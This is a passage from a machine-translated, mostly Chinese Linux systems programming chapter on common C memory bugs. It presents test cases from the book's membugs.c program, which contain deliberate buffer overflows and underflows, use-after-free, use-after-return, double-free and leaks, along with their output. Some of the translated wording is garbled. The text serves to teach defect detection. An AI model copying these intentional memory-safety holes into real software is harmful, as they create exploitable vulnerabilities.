-然而,我们将尝试让开发人员通过阐明他们可能面临的常见内存问题来成功地完成这项任务。 在接下来的一章中,我们将研究一些功能强大的内存调试工具如何在这方面提供极大的帮助。 - -在本章中,开发人员将了解到,尽管动态内存管理 API(在[第 4 章](04.html),*动态内存分配*中介绍)很少,但当使用不当时,它们可能会造成似乎无穷无尽的麻烦和错误! - -具体地说,本章将重点介绍导致现场软件中难以检测的错误的常见内存问题: - -* 不正确的内存访问问题(其中有几种类型) -* 内存泄漏 -* 未定义的行为 - -# 常见内存问题 - -如果要将其归类为细粒度内存错误(通常是通过 C 或 C++编程引起的),就会遇到困难--存在数百种类型! 相反,让我们保持讨论的可控性,看看我们可怜的 C 程序员会遇到什么典型或常见的内存错误: - -* 错误的内存访问 - * 使用未初始化的变量 - * 内存访问越界(读/写下溢/溢出错误) - * 释放后使用/返回后使用(超出范围)错误 - * 双重免费 -* 渗漏 / 泄密 / 泄漏 -* **未定义的行为**(**UB**) -* 数据竞赛数据竞赛 -* 碎片化问题(内部实施) - * 内部的 / 内政的 / 里面的 / 体内的 - * 外面的 / 外部的 / 外国的 - -All these common memory issues (except fragmentation) are classified as UB; still, we keep UB as a separate entry as we will explore it more deeply. Also, though the word *bug* is colloquially used, one should really (and more correctly) think of it as *defect*. - -We do not cover Data Races in this chapter (please hang on until [Chapter 15](15.html), *Multithreading with Pthreads Part II - Synchronization*). - -为了帮助测试这些内存问题,`membugs`程序是针对每个内存问题的小型测试用例的集合。 - -**边栏::Clang 编译器** - -LLVM/Clang 是一个针对 C 的开源编译器。我们确实使用了 Clang 编译器,特别是在本章和下一章中,特别是针对杀菌器和编译器插装工具集(将在下一章中介绍)。 在整本书中它仍然很有用(事实上我们的许多 Makefile 中都使用了它),因此在您的 Linux 开发系统上安装 Clang 将是一个好主意! 同样,这并不是完全必要的,你也可以坚持使用熟悉的 GCC-只要你愿意编辑 Makefile,在需要的地方切换回 GCC! - -在 Ubuntu 18.04 LTS 桌面上安装 Clang 很容易:`sudo apt install clang` - -CLANG 文档可在[https://clang.llvm.org/docs/index.html](https://clang.llvm.org/docs/index.html)[上找到。](https://clang.llvm.org/docs/index.html) - -When the membugs program is compiled (using both GCC for the normal case as well as the Clang compiler for the sanitizer variants), you will see a lot of compiler warnings being emitted! This is expected; after all, its code is filled with bugs. Relax, and continue reading. - -Also, we remind you that the purpose of this chapter is to understand (and classify) typical Linux memory issues; identifying and fixing them using powerful tools is the subject matter of the next chapter. Both are required, so please read on. - -构建的一些示例输出如下所示(为了可读性,输出被裁剪)。 现在,我们不会尝试分析它;这将在我们浏览本章时发生*(*记住,您还需要安装 Clang!*):* - -```sh -$ make -gcc -Wall -c ../common.c -o common.o -gcc -Wall -c membugs.c -o membugs.o -membugs.c: In function ‘uar’: -membugs.c:143:9: warning: function returns address of local variable [-Wreturn-local-addr] - return name; - ^~~~ - [...] - -gcc -Wall -o membugs membugs.o common.o - -[...] -clang -g -ggdb -gdwarf-4 -O0 -Wall -Wextra -fsanitize=address -c membugs.c -o membugs_dbg_asan.o -membugs.c:143:9: warning: address of stack memory associated with local variable 'name' returned [-Wreturn-stack-address] - return name; - ^~~~ - -gcc -g -ggdb -gdwarf-4 -O0 -Wall -Wextra -o membugs_dbg membugs_dbg.o common_dbg.o -[...] -$ -``` - -我们还强调了这样一个事实,在我们将要运行的所有测试用例中,我们使用了 GCC 生成的*Membugs*和二进制可执行文件(而不是 Clang;我们稍后将使用 Clang 和杀毒工具)。 - -During the build, one can capture all the output in to a file like so: -`make >build.txt 2>&1` - -使用`--help`开关运行`membugs`测试程序,查看所有可用的测试用例: - -```sh -$ ./membugs --help - -Usage: ./membugs test_case [ -h | --help] - test case 1 : uninitialized var test case - test case 2 : out-of-bounds : write overflow [on compile-time memory] - test case 3 : out-of-bounds : write overflow [on dynamic memory] - test case 4 : out-of-bounds : write underflow - test case 5 : out-of-bounds : read overflow [on compile-time memory] - test case 6 : out-of-bounds : read overflow [on dynamic memory] - test case 7 : out-of-bounds : read underflow - test case 8 : UAF (use-after-free) test case - test case 9 : UAR (use-after-return) test case - test case 10 : double-free test case - test case 11 : memory leak test case 1: simple leak - test case 12 : memory leak test case 2: leak more (in a loop) - test case 13 : memory leak test case 3: "lib" API leak --h | --help : show this help screen -$ -``` - -您将注意到,写溢出和读溢出各有两个测试用例:一个在编译时内存上,另一个在动态分配的内存上。 区分不同的情况很重要,因为不同的工具可以检测到哪些类型的缺陷。 - -# 错误的内存访问 - -通常,这个类中的 bug 和问题是如此普遍,以至于被轻而易举地忽视了! 当心,它们仍然非常危险;注意找到、理解和修复它们。 - -All classes of overflow and underflow bugs on memory buffers are carefully documented and tracked via the **Common Vulnerabilities and Exposures (CVE)** and the **Common Weakness Enumeration (CWE)** websites. Relevant to what we are discussing, CWE-119 is the *Improper Restriction of Operations within the Bounds of a Memory Buffer* ([https://cwe.mitre.org/data/definitions/119.html](https://cwe.mitre.org/data/definitions/119.html)). - -# 访问和/或使用未初始化的变量 - -为了让读者了解这些内存问题的严重性,我们编写了一个测试程序:`membugs.c`。 该测试程序允许用户测试各种常见的内存错误,这将帮助他们更好地了解潜在问题。 - -每个内存错误测试用例都有一个测试用例编号。 为了方便读者理解源代码和解释材料,我们还指定了测试用例,如下所示。 - -# 测试用例 1:未初始化的内存访问 - -这些错误也称为**未初始化内存读取**(**UMR**)错误。 经典情况:根据定义,局部(或自动)变量是未初始化的(与全局变量不同,全局变量*和*总是预设为零*)*: - -```sh -/* test case 1 : uninitialized var test case */ -static void uninit_var() -{ - int x; /* static mem */ - - if (x) - printf("true case: x=%d\n", x); - else - printf("false case\n"); -} -``` - -在前面的代码中,未定义在运行时会发生什么,因为`x`未初始化,因此将具有随机内容。 现在,我们按如下方式运行此测试用例: - -```sh -$ ./membugs 1 -true case: x=32604 -$ ./membugs 1 -true case: x=32611 -$ ./membugs 1 -true case: x=32627 -$ ./membugs 1 -true case: x=32709 -$ -``` - -值得庆幸的是,现代版本的编译器(`gcc`和`clang`)将发出有关此问题的警告: - -```sh -$ make -[...] -gcc -Wall -c membugs.c -o membugs.o -[...] -membugs.c: In function ‘uninit_var’: -membugs.c:272:5: warning: ‘x’ is used uninitialized in this function [-Wuninitialized] - if (x) - ^ - -[...] -clang -g -ggdb -gdwarf-4 -O0 -Wall -Wextra -fsanitize=address -c membugs.c -o membugs_dbg_asan.o -[...] -membugs.c:272:6: warning: variable 'x' is uninitialized when used here [-Wuninitialized] - if (x) - ^ -membugs.c:270:7: note: initialize the variable 'x' to silence this warning - int x; /* static mem */ - ^ - = 0 -[...] -``` - -# 越界内存访问 - -这个类也是比较常见但致命的内存访问错误之一。 它们可以被归类为不同种类的错误: - -* **写入溢出**:在内存缓冲区最后一个合法访问位置之后尝试写入内存缓冲区的错误 -* **写入下溢**:在第一个可合法访问的位置之前尝试写入内存缓冲区 -* **读取下溢**:在内存缓冲区的第一个合法访问位置之前尝试读取 -* **读取溢出**:在内存缓冲区的第一个合法可访问位置之后尝试读取 - -让我们通过我们的`membugs.c`程序的源代码来查看这些内容。 - -# 测试案例 2 - -编译时分配的内存上的写入或缓冲区溢出。 请按如下方式查看代码片段: - -```sh -/* test case 2 : out-of-bounds : write overflow [on compile-time memory] */ -static void write_overflow_compilemem(void) -{ - int i, arr[5], tmp[8]; - for (i=0; i<=5; i++) { - arr[i] = 100; /* Bug: 'arr' overflows on i==5, - overwriting part of the 'tmp' variable - - a stack overflow! */ - } -} -``` - -这导致了堆栈溢出(也称为堆栈崩溃或**缓冲区溢出**(**BOF**))错误;这是攻击者多次成功利用的严重漏洞类别,从 1988 年的 Morris 蠕虫病毒开始! 有关 GitHub 存储库中此漏洞的更多信息,请参阅*进一步阅读*部分中的资源。 - -非常有趣的是,在我们的*Fedora 28*工作站 Linux 机器上编译和运行这部分代码(通过传递适当的参数)显示,默认情况下既没有编译时也没有运行时检测到这个(和其他类似的)危险错误(稍后将详细介绍!): - -```sh -$ ./membugs 2 -$ ./membugs_dbg 2 -$ -``` - -这些错误有时也称为 Off-by-one 错误。 - -不过(和往常一样)还有更多,让我们快速做个实验。 在第一个`membugs.c:write_overflow_compilemem()`函数*中,*将我们循环的次数从 5 次更改为 50 次: - -```sh - for (i = 0; i <= 50; i++) { - arr[i] = 100; -} -``` - -重新构建并重试;现在可以在*Ubuntu 18.04 LTS*Desktop Linux 系统(也在 Fedora 上,但使用普通内核)上查看输出: - -```sh -$ ./membugs 2 -*** stack smashing detected ***: terminated -Aborted -$ -``` - -事实是,现代编译器使用堆栈保护器功能来检测堆栈溢出错误,更重要的是检测攻击。 使用足够大的值时,可以检测到溢出;但是使用默认值时,错误不会被检测到! 我们将在下一章中强调使用工具(包括编译器)检测这些隐藏错误的重要性。 - -# 测试案例 3 - -在动态分配的内存上写入或 BOF。 请按如下方式查看代码片段: - -```sh -/* test case 3 : out-of-bounds : write overflow [on dynamic memory] */ -static void write_overflow_dynmem(void) -{ - char *dest, src[] = "abcd56789"; - - dest = malloc(8); - if (!dest) - - FATAL("malloc failed\n"); - - strcpy(dest, src); /* Bug: write overflow */ - free(dest); -} -``` - -同样,没有编译或运行时检测到该错误: - -```sh -$ ./membugs 3 -$ ./membugs 3 *<< try once more >>* -$ -``` - -Unfortunately, BOF-related bugs and vulnerabilities tend to be quite common in the industry. The root cause is poorly understood, and thus results in poorly written, code; this is where we, as developers, must step up our game! - -For real-world examples of security vulnerabilities, please see this table of 52 documented security vulnerabilities (due to various kinds of BOF bugs) on Linux in 2017: [https://www.cvedetails.com/vulnerability-list/vendor_id-33/year-2017/opov-1/Linux.html](https://www.cvedetails.com/vulnerability-list/vendor_id-33/year-2017/opov-1/Linux.html). - -# 测试用例 4 - -写下溢。 我们使用`malloc(3)`动态分配缓冲区,递减指针,然后写入该内存位置-写入或缓冲区下溢错误: - -```sh -/* test case 4 : out-of-bounds : write underflow */ -static void write_underflow(void) -{ - char *p = malloc(8); - if (!p) - FATAL("malloc failed\n"); - p--; - strncpy(p, "abcd5678", 8); /* Bug: write underflow */ - free(++p); -} -``` - -在此测试用例中,我们不希望`free(3)`失败,因此我们确保传递给它的指针是正确的。 编译器在这里没有检测到任何 bug;但在运行时,它确实会崩溃,现代的 glibc 无法检测错误(在本例中,是内存损坏): - -```sh -$ ./membugs 4 -double free or corruption (out) -Aborted -$ -``` - -# 测试案例 5 - -在编译时分配的内存上读取溢出。 我们尝试在编译时分配的内存缓冲区的最后一个合法可访问位置之后对其进行读取: - -```sh -/* test case 5 : out-of-bounds : read overflow [on compile-time memory] */ -static void read_overflow_compilemem(void) -{ - char arr[5], tmp[8]; - - memset(arr, 'a', 5); - memset(tmp, 't', 8); - tmp[7] = '\0'; - - printf("arr = %s\n", arr); /* Bug: read buffer overflow */ -} -``` - -按照此测试用例的设计方式,我们在内存中按顺序排列了两个缓冲区。 错误:我们故意不空终止第一个缓冲区(但在第二个缓冲区上这样做),因此,将在`arr`发出的数据`printf(3)`将继续读取第二个缓冲区`tmp`。如果`tmp`数据缓冲区包含秘密怎么办? - -当然,关键是编译器无法捕捉到这个看似明显的错误。 另外,请注意,我们在这里编写的是小型、简单、易读的测试用例;在一个只有几百万行代码的实际项目中,这样的缺陷很容易遗漏。 - -以下是示例输出: - -```sh -$ ./membugs 2>&1 | grep -w 5 - option = 5 : out-of-bounds : read overflow [on compile-time memory] -$ ./membugs 5 -arr = aaaaattttttt -$ -``` - -嘿,我们得读出`tmp`的秘密记忆。 - -事实上,诸如地址消毒器(地址消毒器,见下一章)等工具将此漏洞归类为堆栈缓冲区溢出。 - -顺便说一句,在我们的*Fedora 28*工作站上,在此测试用例中,我们只从第二个缓冲区获得垃圾文件: - -```sh -$ ./membugs 5 -arr = aaaaa0<5=� -$ ./membugs 5 -arr = aaaaa�:�� -$ -``` - -这向我们表明,根据编译器版本、glibc 版本和机器硬件的不同,这些 bug 可能会以不同的方式暴露出来。 - -An always useful testing technique is to try to run your test cases on as many hardware/software variants as possible. Hidden bugs may be exposed! Think of instances such as endianness issues, compiler optimization (padding, packing), and platform-specific alignments. - -# 测试案例 6 - -读取溢出,在动态分配的内存上。 我们再次尝试读取;这一次是在动态分配的内存缓冲区上,在其最后一个合法可访问位置之后: - -```sh -/* test case 6 : out-of-bounds : read overflow [on dynamic memory] */ -static void read_overflow_dynmem(void) -{ - char *arr; - - arr = malloc(5); - if (!arr) - FATAL("malloc failed\n",); - memset(arr, 'a', 5); - - /* Bug 1: Steal secrets via a buffer overread. - * Ensure the next few bytes are _not_ NULL. - * Ideally, this should be caught as a bug by the compiler, - * but isn't! (Tools do; seen later). - */ - arr[5] = 'S'; arr[6] = 'e'; arr[7] = 'c'; - arr[8] = 'r'; arr[9] = 'e'; arr[10] = 'T'; - printf("arr = %s\n", arr); - - /* Bug 2, 3: more read buffer overflows */ - printf("*(arr+100)=%d\n", *(arr+100)); - printf("*(arr+10000)=%d\n", *(arr+10000)); - - free(arr); -} -``` - -测试用例与前面的用例(编译时内存*上的读取溢出)*基本相同,不同之处在于我们动态分配了内存缓冲区,并插入了更多错误: - -```sh -$ ./membugs 2>&1 |grep -w 6 - option = 6 : out-of-bounds : read overflow [on dynamic memory] -$ ./membugs 6 -arr = aaaaaSecreT -*(arr+100)=0 -*(arr+10000)=0 -$ -``` - -嘿,妈妈,快看! 我们知道秘密了! - -它甚至不会造成撞车。 乍一看,像这样的 bug 可能看起来相当无害--但事实是,这是一个非常危险的 bug! - -The well known OpenSSL Heartbleed security bug (CVE-2014-0160) is a great example of exploiting a read overflow, or as it's often called, a buffer over-read, vulnerability.  - -In a nutshell, the bug allowed a rogue client process to make a seemingly correct request to the OpenSSL server process; in reality, it could request and receive much more memory than it should have been allowed to, because of a buffer over-read vulnerability.In effect, this bug made it possible for attackers to bypass security easily and steal secrets [[http://heartbleed.com](http://heartbleed.com/)]. - -If interested, find more in the *Further reading* section on the GitHub repository. - -# 测试案例 7 - -阅读下溢。 我们在动态分配的内存缓冲区的第一个合法可访问位置之前尝试读取: - -```sh -/* test case 7 : out-of-bounds : read underflow */ -static void read_underflow(int cond) -{ - char *dest, src[] = "abcd56789", *orig; - - printf("%s(): cond %d\n", __FUNCTION__, cond); - dest = malloc(25); - if (!dest) - FATAL("malloc failed\n",); - orig = dest; - - strncpy(dest, src, strlen(src)); - if (cond) { - *(orig-1) = 'x'; - dest --; - } - printf(" dest: %s\n", dest); - - free(orig); -} -``` - -测试用例是使用运行时条件设计的;我们通过两种方式对其进行测试: - -```sh - case 7: - read_underflow(0); - read_underflow(1); - break; -``` - -如果条件计算为真,则缓冲区指针递减,从而导致后续`printf`上的读取缓冲区下溢: - -```sh -$ ./membugs 7 -read_underflow(): cond 0 - dest: abcd56789 -read_underflow(): cond 1 - dest: xabcd56789 -double free or corruption (out) -Aborted (core dumped) -$ -``` - -再一次,Glibc 帮助了我们,它向我们展示了双重释放或腐败的发生-在这种情况下,这是内存腐败。 - -# 释放后使用/返回后使用错误 - -**Use-****After-**UAF(**UAF**)和**Use-After-Return**(**UAR**)是危险的、难以发现的错误。 请查看其中每一个的以下测试用例。 - -# 测试案例 8 - -**免费后使用(UAF)。** 在释放内存指针后对其进行操作显然是一个错误,会导致 UB。 指针有时被称为悬挂式指针。 下面是一个快速测试案例: - -```sh -/* test case 8 : UAF (use-after-free) test case */ -static void uaf(void) -{ - char *arr, *next; - char name[]="Hands-on Linux Sys Prg"; - int n=512; - - arr = malloc(n); - if (!arr) - FATAL("malloc failed\n"); - memset(arr, 'a', n); - arr[n-1]='\0'; - printf("%s():%d: arr = %p:%.*s\n", __FUNCTION__, __LINE__, arr, - 32, arr); - - next = malloc(n); - if (!next) { - free(arr); - FATAL("malloc failed\n"); - } - free(arr); - strncpy(arr, name, strlen(name)); /* Bug: UAF */ - printf("%s():%d: arr = %p:%.*s\n", __FUNCTION__, __LINE__, arr, - 32, arr); - free(next); -} -``` - -同样,无论是在编译时还是在运行时,都不会检测到 UAF 错误,也不会导致崩溃: - -```sh -$ ./membugs 2>&1 |grep -w 8 - option = 8 : UAF (use-after-free) test case -$ ./membugs 8 -uaf():158: arr = 0x558012280260:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa -uaf():166: arr = 0x558012280260:Hands-on Linux Sys Prgaaaaaaaaaa -$ -``` - -Did you notice the neat `printf(3)` format specifier, `%.*s`, trick? This format is used to print a string of a specific length (no terminating null required!). First, specify the length in bytes to print, and then the pointer to string. - -# 测试案例 9 - -**返回**(**UAR**)后使用。 另一个经典错误,这个错误涉及向调用函数返回一个存储项(或指向它的指针)。 问题是存储是本地的或自动的,这意味着一旦返回受到影响,存储对象现在就不在作用域之外。 - -经典示例如下所示:我们将`32`字节分配给局部变量*,*对其进行初始化,然后将其返回给调用方: - -```sh -/* test case 9 : UAR (use-after-return) test case */ -static void * uar(void) -{ - char name[32]; - - memset(name, 0, 32); - strncpy(name, "Hands-on Linux Sys Prg", 22); - - return name; -} -``` - -以下是调用方调用前面的 Buggy 函数的方式: - -```sh -[...] - case 9: - res = uar(); - printf("res: %s\n", (char *)res); - break; -[...] -``` - -当然,一旦`uar()`函数中的`return`语句生效,`name`变量就会自动超出作用域! 因此,指向它的指针无效,并且在运行时失败: - -```sh -$ ./membugs 2>&1 |grep -w 9 - option = 9 : UAR (use-after-return) test case -$ ./membugs 9 -res: (null) -$ -``` - -不过,值得庆幸的是,现代的 GCC(我们使用的是 GCC 7.3.0 版)警告我们这个常见的漏洞: - -```sh -$ make membugs -gcc -Wall -c membugs.c -o membugs.o -membugs.c: In function ‘uar’: -membugs.c:143:9: warning: function returns address of local variable [-Wreturn-local-addr] - return name; - ^~~~ -[...] -``` - -正如前面提到的(但它总是值得重复的),请注意并修复所有警告! - -实际上,有些时候这个 bug 没有被注意到--它看起来运行良好,而且没有 bug。 这是因为不能保证堆栈内存帧在函数返回时立即销毁-内存和编译器优化可能会保留该帧(通常是为了重用)。 然而,这是一个危险的错误,必须修复! - -In the next chapter, we'll cover some memory debug tools. As a matter of fact, neither Valgrind nor the Sanitizer tools catch this possibly deadly bug. But, using the ASan toolset appropriately does catch the UAR! Read on. - -# 测试用例 10 - -双自由**。** 一旦释放了一个`malloc`系列缓冲区,就根本不允许使用该指针。 尝试再次释放同一指针(不再通过`malloc`系列 API 之一为其分配内存)是一个错误:不是双重释放。 它会导致堆损坏;这样的错误经常被攻击者利用来引起**拒绝服务攻击**(**DoS**)或更糟的攻击(权限提升)。 - -下面是一个简单的测试案例: - -```sh -/* test case 10 : double-free test case */ -static void doublefree(int cond) -{ - char *ptr; - char name[]="Hands-on Linux Sys Prg"; - int n=512; - - printf("%s(): cond %d\n", __FUNCTION__, cond); - ptr = malloc(n); - if (!ptr) - FATAL("malloc failed\n"); - strncpy(ptr, name, strlen(name)); - free(ptr); - - if (cond) { - bogus = malloc(-1UL); /* will fail! */ - if (!bogus) { - fprintf(stderr, "%s:%s:%d: malloc failed\n", - __FILE__, __FUNCTION__, __LINE__); - free(ptr); /* Bug: double-free */ - exit(EXIT_FAILURE); - } - } -} -``` - -在前面的测试用例中,我们模拟了一个有趣且相当现实的场景:运行时条件(通过`cond`参数模拟)导致程序执行调用,比方说,调用失败-`malloc(-1UL)`几乎保证了这一点。 - -为什么? 因为,在 64 位操作系统上,`-1UL = 0xffffffffffffffff = 18446744073709551615 bytes = 16 EB`。 这是 64 位虚拟地址空间的全部范围。 - -回到正题:在我们的 malloc 错误处理代码中,出现了一个错误的双重释放--先前释放的指针`ptr`的双重释放--导致了双重释放错误。 - -真正的问题是,作为开发人员,我们通常不为错误处理代码路径编写(否定的)测试用例;这样缺陷就会不知不觉地逃到现场: - -```sh -$ ./membugs 10 -doublefree(): cond 0 -doublefree(): cond 1 -membugs.c:doublefree:56: malloc failed -$ -``` - -有趣的是,编译器确实警告我们第二个 malloc 有故障(读错误)(但不是关于双重释放!);请参见以下内容: - -```sh -$ make -[...] -membugs.c: In function ‘doublefree’: -membugs.c:125:9: warning: argument 1 value ‘18446744073709551615’ exceeds maximum object size 9223372036854775807 [-Walloc-size-larger-than=] - bogus = malloc(-1UL); /* will fail! */ - ~~~~~~^~~~~~~~~~~~~~ -In file included from membugs.c:18:0: -/usr/include/stdlib.h:539:14: note: in a call to allocation function ‘malloc’ declared here - extern void *malloc (size_t __size) __THROW __attribute_malloc__ __wur; - ^~~~~~ -[...] -``` - -To help emphasize the importance of detecting and fixing such bugs—and remember, this is just one example— we show as follows some information from the **National Vulnerability Database** (**NVD**) on double free bugs within the last 3 years (at the time of this writing): [https://nvd.nist.gov/vuln/search/results?adv_search=false&form_type=basic&results_type=overview&search_type=last3years&query=double+free](https://nvd.nist.gov/vuln/search/results?adv_search=false&form_type=basic&results_type=overview&search_type=last3years&query=double+free) - -在*国家漏洞数据库**和(NVD)*上执行的关于过去 3 年(撰写本文时)双自由漏洞的搜索结果的部分屏幕截图如下: - -![](img/50802625-fc81-4ea1-b8b2-09e417c38592.png) - -The complete screenshot has not been shown here. - -# 渗漏 / 泄密 / 泄漏 - -动态内存的黄金法则是释放您分配的内存。 - -内存泄漏是用来描述未能做到这一点的情况的术语。 程序员还认为,内存区确实被释放了。 但事实并非如此--这就是问题所在。 因此,这使得要释放的内存区域对进程和系统不可用;实际上,它是不可用的,即使它本应可用。 - -据说内存泄露了。 那么,为什么程序员不能在代码的其他地方通过调用这个内存指针上的空闲函数来解决这个问题呢? 这确实是问题的症结所在:在典型情况下,由于代码的实现方式,基本上不可能重新访问泄漏的内存指针。 - -一个快速测试案例将证明这一点。 - -函数被故意编写为在每次调用时泄漏`mem`字节的内存(它的参数)。 - -# 测试用例 11 - -内存泄漏-案例 1:一个简单的内存泄漏测试案例。 请参见以下代码片段: - -```sh -static const size_t BLK_1MB = 1024*1024; -[...] -static void amleaky(size_t mem) -{ - char *ptr; - - ptr = malloc(mem); - if (!ptr) - FATAL("malloc(%zu) failed\n", mem); - - /* Do something with the memory region; else, the compiler - * might just optimize the whole thing away! - * ... and we won't 'see' the leak. - */ - memset(ptr, 0, mem); - - /* Bug: no free, leakage */ -} - -[...] -/* test case 11 : memory leak test case 1: simple leak */ -static void leakage_case1(size_t size) -{ - printf("%s(): will now leak %zu bytes (%ld MB)\n", - __FUNCTION__, size, size/(1024*1024)); - amleaky(size); -} - -[...] - - case 11: - leakage_case1(32); - leakage_case1(BLK_1MB); - break; -[...] -``` - -可以清楚地看到,在`amleaky`函数中,`ptr`的内存指针是一个局部变量,因此一旦我们从有错误的函数返回,它就会丢失;这使得以后不可能释放它。 另请注意-注释解释了这一点-我们如何要求`memset`命令强制编译器为内存区域生成代码并使用该内存区域。 - -快速构建和执行前面的测试用例将再次显示,没有明显的编译时或运行时检测到泄漏: - -```sh -$ ./membugs 2>&1 | grep "memory leak" - option = 11 : memory leak test case 1: simple leak - option = 12 : memory leak test case 2: leak more (in a loop) - option = 13 : memory leak test case 3: lib API leak -$ ./membugs 11 -leakage_case1(): will now leak 32 bytes (0 MB) -leakage_case1(): will now leak 1048576 bytes (1 MB) -$ -``` - -# 测试用例 12 - -内存泄漏情况 2-泄漏更多(在循环中)。通常情况下,有缺陷的泄漏代码本身可能只泄漏少量内存,几个字节。 问题是,如果在流程执行期间,这个泄漏函数在一个循环中被调用数百次或数千次,该怎么办? 现在泄漏是很严重的,但不幸的是,并不是马上就能显现出来。 - -为了准确地模拟这一点和更多,我们执行两个测试用例(对于选项 12): - -* 我们分配并泄漏了极少量的内存(32 字节),但是在一个循环中发生了 100,000 次(所以,是的,我们最终泄漏了超过 3MB) -* 我们在一个循环中分配和泄漏了 12 次大量内存(1MB)(因此,我们最终泄漏了 12MB)。 - -相关代码如下: - -```sh -[...] - -/* test case 12 : memory leak test case 2: leak in a loop */ -static void leakage_case2(size_t size, unsigned int reps) -{ - unsigned int i, threshold = 3*BLK_1MB; - double mem_leaked; - - if (reps == 0) - reps = 1; - mem_leaked = size * reps; - printf("%s(): will now leak a total of %.0f bytes (%.2f MB)" - " [%zu bytes * %u loops]\n", - __FUNCTION__, mem_leaked, mem_leaked/(1024*1024), - size, reps); - - if (mem_leaked >= threshold) - system("free|grep \"^Mem:\""); - - for (i=0; i= threshold) - system("free|grep \"^Mem:\""); printf("\n"); -} - -[...] - - case 12: - leakage_case2(32, 100000); - leakage_case2(BLK_1MB, 12); - break; -[...] -``` - -该逻辑确保泄漏循环内的`printf(3)`仅在每 10,000 次循环迭代时显示。 - -此外,我们还想看看内存是否真的泄露了。 为此,我们使用`free`实用程序(尽管方式大致如此): - -```sh -$ free - total used free shared buff/cache available -Mem: 16305508 5906672 348744 1171944 10050092 10248116 -Swap: 8000508 0 8000508 -$ -``` - -`free(1)`实用程序以千字节为单位显示整个系统中当前已用、可用和可用的(近似)内存量。 它进一步在共享、缓冲/页面缓存之间划分使用的内存;它还显示`Swap`分区统计信息。 我们还应该注意到,这种使用`free(1)`检测内存泄漏的方法被认为不是非常准确;充其量是一种粗略的方法。 操作系统报告的正在使用、可用、已缓存等内存可能会显示各种变化。 就我们的目的而言,这是可以的。 - -我们的兴趣点是`Mem`行和`free`列的交集;因此,我们可以看到,在总共 16 GB 的可用内存中,当前空闲的内存大约是 348744 KB~=340MB。 - -用户可以快速试用一行脚本来仅显示感兴趣的区域-`Mem`行: - -```sh -$ free | grep "^Mem:" -Mem: 16305508 5922772 336436 1165960 10046300 10237452 -$ -``` - -`Mem`之后的第三列是`free`内存(有趣的是,它已经比前一个输出减少了;这无关紧要)。 - -回到程序;我们使用`system(3)`库 API 在 C 程序中运行前面的管道 shell 命令(我们将在[第 10 章](10.html),*进程创建*中构建我们自己的`system(3)`命令 API 的小型仿真): - -```sh -if (mem_leaked >= threshold) system("free|grep \"^Mem:\"); -``` - -`if`语句确保仅当>=3MB 的阈值泄漏时才会出现此输出。 - -以下是执行时的输出: - -```sh -$ ./membugs 12 -leakage_case2(): will now leak a total of 3200000 bytes (3.05 MB) - [32 bytes * 100000 loops] -Mem: 16305508 5982408 297708 1149648 10025392 10194628 -leakage_case2(): 0:malloc(32) -leakage_case2(): 10000:malloc(32) -leakage_case2(): 20000:malloc(32) -leakage_case2(): 30000:malloc(32) -leakage_case2(): 40000:malloc(32) -leakage_case2(): 50000:malloc(32) -leakage_case2(): 60000:malloc(32) -leakage_case2(): 70000:malloc(32) -leakage_case2(): 80000:malloc(32) -leakage_case2(): 90000:malloc(32) -Mem: 16305508 5986996 293120 1149648 10025392 10190040 - -leakage_case2(): will now leak a total of 12582912 bytes (12.00 MB) - [1048576 bytes * 12 loops] -Mem: 16305508 5987500 292616 1149648 10025392 10189536 -leakage_case2(): 0:malloc(1048576) -Mem: 16305508 5999124 280992 1149648 10025392 10177912 -$ -``` - -我们看到两个场景正在执行;检查`free`列的值。 我们应该减去它们,以查看泄露的内存: - -* 我们分配并泄漏了极少量的内存(32 字节),但是在一个循环中分配和泄漏了 100,000 次:`Leaked memory = 297708 - 293120 = 4588 KB ~= 4.5 MB` -* 我们在循环中分配和泄漏大量内存(1MB)12 次:`Leaked memory = 292616 - 280992 = 11624 KB ~= 11.4 MB` - -当然,一定要认识到,一旦进程终止,它的所有内存都会被释放回系统。 这就是为什么我们在进程中执行一行脚本的原因,因为它还活着。 - -# 测试用例 13 - -复杂的案例包装 API。 有时,如果你认为所有程序员都受过教育,这是情有可原的:在调用 malloc(或 calloc,realloc)之后,调用 free。 这能有多难呢? 如果是这样的话,为什么会有这么多偷偷摸摸的泄漏虫呢? - -泄漏缺陷可能发生且难以确定的一个关键原因是,某些 API-通常是第三方库 API-可能会在内部执行动态内存分配,并期望调用者释放内存。 API 将(希望)记录这一重要事实;但是谁(半开玩笑地)阅读文档呢? - -这确实是现实世界软件问题的症结所在;它很复杂,我们从事的是大型、复杂的项目。 确实很容易忽略一个事实,即底层 API 分配内存,调用者负责释放内存。 确切地说,这种情况经常发生。 - -还有另一种情况:在复杂的代码库(尤其是那些包含意大利面条代码的代码库)上,很多深度嵌套的层缠绕着代码,在每种可能的错误情况下执行所需的清理(包括释放内存)可能会变得特别困难。 - -The Linux kernel community offers a clean, though fairly controversial, way to keep cleanup code paths clean and working well, that is, the use of the local go to perform centralized error-handling! It helps indeed. Interested in learning more? Check out section 7,* Centralized exiting of functions* at [https://www.kernel.org/doc/Documentation/process/coding-style.rst](https://www.kernel.org/doc/Documentation/process/coding-style.rst). - -# 测试用例 13.1 - -这里有一个简单的例子。 让我们用以下测试用例代码进行模拟: - -```sh -/* - * A demo: this function allocates memory internally; the caller - * is responsible for freeing it! - */ -static void silly_getpath(char **ptr) -{ -#include - *ptr = malloc(PATH_MAX); - if (!ptr) - FATAL("malloc failed\n"); - - strcpy(*ptr, getenv("PATH")); - if (!*ptr) - FATAL("getenv failed\n"); -} - -/* test case 13 : memory leak test case 3: "lib" API leak */ -static void leakage_case3(int cond) -{ - char *mypath=NULL; - - printf("\n## Leakage test: case 3: \"lib\" API" - ": runtime cond = %d\n", cond); - - /* Use C's illusory 'pass-by-reference' model */ - silly_getpath(&mypath); - printf("mypath = %s\n", mypath); - - if (cond) /* Bug: if cond==0 then we have a leak! */ - free(mypath); -} -``` - -我们将其调用为: - -```sh -[...] -case 13: - leakage_case3(0); - leakage_case3(1); - break; -``` - -与往常一样,不会产生编译器或运行时警告。 下面是输出(认识到第一次调用是有错误的情况,因为`cond`的值是 0`0`,因此不会调用`free(3)`): - -```sh -$ ./membugs 13 - -## Leakage test: case 3: "lib" API: runtime cond = 0 -mypath = /usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/sbin:/usr/sbin:/usr/local/sbin:/home/kai/Mentorimg/Sourcery_CodeBench_Lite_for_ARM_GNU_Linux/bin/:/mnt/big/scratchpad/buildroot-2017.08.1/output/host/bin/:/sbin:/usr/sbin:/usr/local/sbin - -## Leakage 